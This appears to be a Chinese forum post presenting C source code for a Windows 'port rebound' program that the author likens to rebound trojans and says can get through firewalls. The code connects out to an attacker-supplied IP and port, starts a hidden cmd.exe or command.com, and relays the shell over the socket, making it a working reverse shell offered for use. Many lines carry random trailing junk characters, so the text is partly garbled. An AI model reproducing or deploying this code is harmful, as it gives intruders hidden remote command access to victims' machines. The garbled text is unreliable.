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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &M&*3  
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/* ============================== #;z;8q  
Rebound port in Windows NT ACctyGd  
By wind,2006/7 O,x[6P54P  
===============================*/ e?,n>  
#include 58V`I5_  
#include `zw XfY,%  
r roI  
#pragma comment(lib,"wsock32.lib") d)1 d0ES  
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void OutputShell(); g1Ed:V]_  
SOCKET sClient; u%!/-&?wF  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L7;8:^  v  
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void main(int argc,char **argv) ^CO{86V  
{ xhK8Q  
WSADATA stWsaData; XXPn)kmWR  
int nRet; vhIZkz!9  
SOCKADDR_IN stSaiClient,stSaiServer; ;-#2p^  
{bHUZen  
if(argc != 3) JlR$"GU  
{ >mJH@,F:  
printf("Useage:\n\rRebound DestIP DestPort\n"); 70Jx[3vr  
return; & %A&&XT9  
} eu={6/O  
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WSAStartup(MAKEWORD(2,2),&stWsaData); p>_Qns7W  
& 6'Rc#\P  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {ppzg`G\  
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stSaiClient.sin_family = AF_INET; 'HKDGQl`  
stSaiClient.sin_port = htons(0); _Z7`tUS-j  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); J?{@pA  
h?[|1.lJx(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~-R%m  
{ ttOk6-  
printf("Bind Socket Failed!\n"); G?kK:eV  
return; MH=7(15R  
} P q0 %oz  
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stSaiServer.sin_family = AF_INET; )Zf1%h~0r  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0vX4v)-^u  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7UIf   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `+z^#3l  
{ A]Bf&+V  
printf("Connect Error!"); 5skxixG  
return; m ww<Xm'  
} vAp<Muj(a  
OutputShell(); <qg4Rz\c]  
} n,U?]mr  
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void OutputShell() KpA1Ac)T  
{ ?iZ2sRWR6  
char szBuff[1024]; sSd/\Ap  
SECURITY_ATTRIBUTES stSecurityAttributes; w4(L@1  
OSVERSIONINFO stOsversionInfo; rk6K0TQ8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 27k(`{K  
STARTUPINFO stStartupInfo; _j+!Fd  
char *szShell; F~q(@.b  
PROCESS_INFORMATION stProcessInformation; 1U% /~  
unsigned long lBytesRead; Kv<f< >|L  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j$K*R."  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); G4uG"  
stSecurityAttributes.lpSecurityDescriptor = 0; |lt]9>|  
stSecurityAttributes.bInheritHandle = TRUE; ,AmwsXN"F  
)/?H]o$NU  
Aa=:AkrH  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); h5SJVa  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); q.p.$)  
D/?Ec\ t  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); NMe{1RM  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %x N${4)6  
stStartupInfo.wShowWindow = SW_HIDE; W:,Wex^9n  
stStartupInfo.hStdInput = hReadPipe; ]} dQ~lOE  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; om`T/@_,  
D"rbQXR7$  
GetVersionEx(&stOsversionInfo); #MKM.T,\t  
&\1n=y  
switch(stOsversionInfo.dwPlatformId) Jy5sZ }t[  
{ N+'j on}U  
case 1: _ Ao$)Gu)  
szShell = "command.com"; P 0e-v0  
break; jMgXIK\  
default: [% C,&h5  
szShell = "cmd.exe"; s bj/d~$N  
break; H T|DT  
} #8|LPfA  
i|J%jA  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); wqhktgG  
,Klv[_x7  
send(sClient,szMsg,77,0); =}vT>b  
while(1) _]-4d_&3(  
{ C,An\lsT  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nq)F$@  
if(lBytesRead) Xx"<^FS[zC  
{ G@.MP| 2  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); x2rAB5r6  
send(sClient,szBuff,lBytesRead,0); #L~i|(=U5  
} &)Xc'RQ.C  
else Lm TFvZ  
{ X/yq<_ g  
lBytesRead=recv(sClient,szBuff,1024,0); p&h?p\IF  
if(lBytesRead<=0) break; z Fo11;*D  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Zge(UhZ  
} H+4j.eVzZU  
} G 5;6q  
j-":>}oW2.  
return; ]K"&Vd  
}
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